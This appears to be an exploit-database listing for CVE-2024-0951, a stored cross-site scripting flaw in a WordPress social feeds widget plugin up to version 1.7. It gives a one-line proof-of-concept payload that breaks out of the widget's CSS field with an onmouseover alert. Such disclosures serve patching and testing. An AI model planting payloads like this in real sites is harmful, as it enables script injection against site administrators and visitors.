Exploit for Advanced Social Feeds Widget & Shortcode <= 1.7 - Admin+ Stored XSS CVE-2024-0951

Name: Exploit for Advanced Social Feeds Widget & Shortcode <= 1.7 - Admin+ Stored XSS CVE-2024-0951
Rating: 5 (74 reviews)

2024-02-20 | CVSS 7.3

## https://sploitus.com/exploit?id=WPEX-ID:88B2E479-EB15-4213-9DF8-3D353074974E
When creating a new widget, insert the following payload in the "CSS" field - " onmouseover="alert(/XSS/)"